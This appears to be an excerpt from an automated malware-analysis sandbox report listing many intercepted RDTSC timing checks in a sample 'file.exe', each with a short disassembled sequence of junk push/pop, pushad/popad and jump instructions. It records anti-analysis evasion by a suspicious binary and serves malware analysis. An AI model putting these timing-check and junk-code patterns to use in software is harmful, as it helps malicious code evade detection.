Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C880AA second address: C880AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C880AE second address: C880B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C862B9 second address: C862D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CCA3F12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C880B2 second address: C880B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C882A0 second address: C882A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C882A4 second address: C882AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8A2E4 second address: C8A2E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C882AA second address: C882AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C26F20 second address: C26F24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C26F24 second address: C26F32 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F885CB96136h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C26F32 second address: C26F48 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F885CCA3F06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 ja 00007F885CCA3F06h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C26F48 second address: C26F65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F885CB96136h 0x00000010 jmp 00007F885CB9613Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8D2F5 second address: C8D30D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F885CCA3F0Dh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8D30D second address: C8D31C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CB9613Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C92DE2 second address: C92E1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F885CCA3F16h 0x0000000c pop edi 0x0000000d pushad 0x0000000e jmp 00007F885CCA3F18h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C924BF second address: C924D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F885CB96136h 0x0000000a jp 00007F885CB96136h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C924D6 second address: C924E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F885CCA3F06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C924E0 second address: C924EA instructions: 0x00000000 rdtsc 0x00000002 jo 00007F885CB96136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C924EA second address: C92522 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 jmp 00007F885CCA3F0Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jmp 00007F885CCA3F14h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jg 00007F885CCA3F06h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C92671 second address: C9268A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F885CB96136h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f jl 00007F885CB9613Ah 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C92987 second address: C9298D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9298D second address: C929AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F885CB96148h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C37B80 second address: C37BB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CCA3F0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F885CCA3F18h 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 jnc 00007F885CCA3F06h 0x00000017 pushad 0x00000018 popad 0x00000019 push edi 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C37BB7 second address: C37BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F885CB96138h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F885CB96144h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99EB5 second address: C99EBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99EBB second address: C99EBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99FF1 second address: C99FF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C99FF6 second address: C99FFB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9A190 second address: C9A196 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DEF5 second address: C9DF11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F885CB96148h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DF11 second address: C9DF25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CB97C9Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9DF25 second address: C9DF29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9E511 second address: C9E51B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9ED03 second address: C9ED0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9ED0B second address: C9ED46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jmp 00007F885CB97CA5h 0x0000000c jns 00007F885CB97C9Ch 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 push edi 0x00000016 pop edi 0x00000017 jmp 00007F885CB97C9Ah 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9ED46 second address: C9ED53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F885CC8701Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9EE6D second address: C9EE76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9EE76 second address: C9EE7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7893F second address: C78943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78A27 second address: C78A48 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F885CC87016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b xor dword ptr [esp], 1D0B1062h 0x00000012 mov edi, dword ptr [ebp+122D2013h] 0x00000018 push 95EBC0C5h 0x0000001d push edi 0x0000001e push ebx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78B42 second address: C78B47 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78B74 second address: C78B83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CC8701Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78B83 second address: C78B88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C78E81 second address: C78E85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C791F6 second address: C79208 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CB97C9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C79208 second address: C7920D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C79635 second address: C573A3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F885CB97CA0h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edx 0x00000011 call 00007F885CB97C98h 0x00000016 pop edx 0x00000017 mov dword ptr [esp+04h], edx 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc edx 0x00000024 push edx 0x00000025 ret 0x00000026 pop edx 0x00000027 ret 0x00000028 lea eax, dword ptr [ebp+1248A125h] 0x0000002e call 00007F885CB97CA8h 0x00000033 pop edi 0x00000034 nop 0x00000035 push esi 0x00000036 push eax 0x00000037 jmp 00007F885CB97C9Dh 0x0000003c pop eax 0x0000003d pop esi 0x0000003e push eax 0x0000003f jmp 00007F885CB97C9Eh 0x00000044 nop 0x00000045 push 00000000h 0x00000047 push edx 0x00000048 call 00007F885CB97C98h 0x0000004d pop edx 0x0000004e mov dword ptr [esp+04h], edx 0x00000052 add dword ptr [esp+04h], 0000001Dh 0x0000005a inc edx 0x0000005b push edx 0x0000005c ret 0x0000005d pop edx 0x0000005e ret 0x0000005f call dword ptr [ebp+12462A10h] 0x00000065 push eax 0x00000066 push edx 0x00000067 jg 00007F885CB97CB2h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA260C second address: CA263B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CC87021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F885CC87026h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2793 second address: CA2797 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2797 second address: CA279D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA279D second address: CA27A2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA27A2 second address: CA27C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F885CC87027h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA27C2 second address: CA27C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA27C6 second address: CA27CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA27CA second address: CA27D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2936 second address: CA294F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F885CC87021h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2A8E second address: CA2A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2A92 second address: CA2AB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CC87022h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2AB0 second address: CA2AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2AB4 second address: CA2AB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2AB8 second address: CA2ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2DCC second address: CA2DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F885CC87016h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C57389 second address: C573A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F885CB97CA6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3085 second address: CA30B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F885CC87024h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b jmp 00007F885CC87021h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8694 second address: CA86E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CB97CA6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b jmp 00007F885CB97C9Ch 0x00000010 pop ecx 0x00000011 jmp 00007F885CB97CA6h 0x00000016 jmp 00007F885CB97C9Eh 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8B3B second address: CA8B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8127 second address: CA812B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA812B second address: CA816B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F885CC87026h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d jnc 00007F885CC8701Ch 0x00000013 jp 00007F885CC87022h 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA8FFA second address: CA9000 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA916F second address: CA9173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA943F second address: CA9447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA9447 second address: CA944E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAEDE3 second address: CAEDE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAEDE9 second address: CAEDEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAEDEF second address: CAEDF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAEDF9 second address: CAEDFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD8E8 second address: CAD90D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CB97CA7h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F885CB97C96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADA61 second address: CADA66 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADD68 second address: CADD74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F885CB97C96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CADD74 second address: CADD78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE27E second address: CAE289 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE289 second address: CAE29A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE53B second address: CAE54C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F885CB97C96h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE54C second address: CAE550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE68E second address: CAE698 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F885CB97C96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE829 second address: CAE859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jne 00007F885CC8702Ah 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F885CC8701Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAD5D4 second address: CAD5FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F885CB97C9Bh 0x00000010 jmp 00007F885CB97CA5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5BE7 second address: CB5C2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F885CC87022h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jmp 00007F885CC87020h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jo 00007F885CC87016h 0x0000001d pushad 0x0000001e popad 0x0000001f jng 00007F885CC87016h 0x00000025 popad 0x00000026 push ebx 0x00000027 jo 00007F885CC87016h 0x0000002d push ebx 0x0000002e pop ebx 0x0000002f pop ebx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5C2F second address: CB5C34 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5C34 second address: CB5C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 jmp 00007F885CC87022h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7DB9 second address: CB7DBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7DBD second address: CB7DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F885CC8701Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7DD0 second address: CB7DDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F885CB97C96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC0252 second address: CC026E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CC87028h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC051D second address: CC055A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F885CB97CA9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F885CB97CA1h 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007F885CB97C96h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC055A second address: CC055E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC055E second address: CC0564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC0564 second address: CC0569 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
